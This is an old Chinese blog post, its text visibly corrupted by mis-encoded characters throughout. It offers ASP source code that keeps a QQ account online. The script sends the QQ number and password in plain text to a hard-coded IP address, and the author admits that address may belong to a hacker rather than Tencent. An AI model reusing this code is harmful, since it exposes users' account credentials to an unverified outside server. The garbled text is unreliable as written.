掛QQ的ASP版本網(wǎng)頁(yè)源代碼

2010-08-28 10:54:03來(lái)源:西部e網(wǎng)作者:

現(xiàn)在掛QQ不知道還有什么意義了,就算你等級(jí)再高,也沒會(huì)員一半的功能,我身邊很多朋友都是紅色的了,呵呵,騰訊賺錢的水平就是高,而且不露聲色,小馬哥,你牛!

下面這個(gè)是QQ掛QQ的ASP版本網(wǎng)頁(yè)源代碼,cwitter也是從網(wǎng)上找到的,測(cè)試的時(shí)候有可能發(fā)生“MSXML5.DLL (0x800C0005) 系統(tǒng)未找到指定的資源”的錯(cuò)誤,一般MSXML5.DLL文件的地址是:
C:\Program Files\Common Files\Microsoft Shared\OFFICE11

還有一個(gè)重要的問(wèn)題,就是211.139.167.71不知道是不是騰訊的,如果是一個(gè)黑客的服務(wù)器,你的QQ號(hào)和密碼就都讓人知道啦,哈哈。所以這個(gè)代碼就是讓你學(xué)習(xí)一下而已,盡量別用了。

<%
dim objXMLHTTP, qq, pwd
 
qq = "10000" //要掛的QQ號(hào)碼
pwd = "123456" //要掛的QQ號(hào)碼的密碼
 
set objXMLHTTP = Server.CreateObject("MSXML2.XMLHTTP.5.0")
objXMLHTTP.open "POST", "http://211.139.167.71/waptest/TWF/qqportal/rela/updateuserinfo.jsp", false
objXMLHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXMLHTTP.setRequestHeader "Connection", "Keep-Alive"
objXMLHTTP.send("qq="&qq&"&pwd="&pwd&"&FromWhere=register")
 
if InStr(objXMLHTTP.responseText, "驗(yàn)證失敗") then
  response.write "登錄失敗"
else
  response.write "登錄成功"
end if
 
set objXMLHTTP = nothing
%> 

關(guān)鍵詞:ASP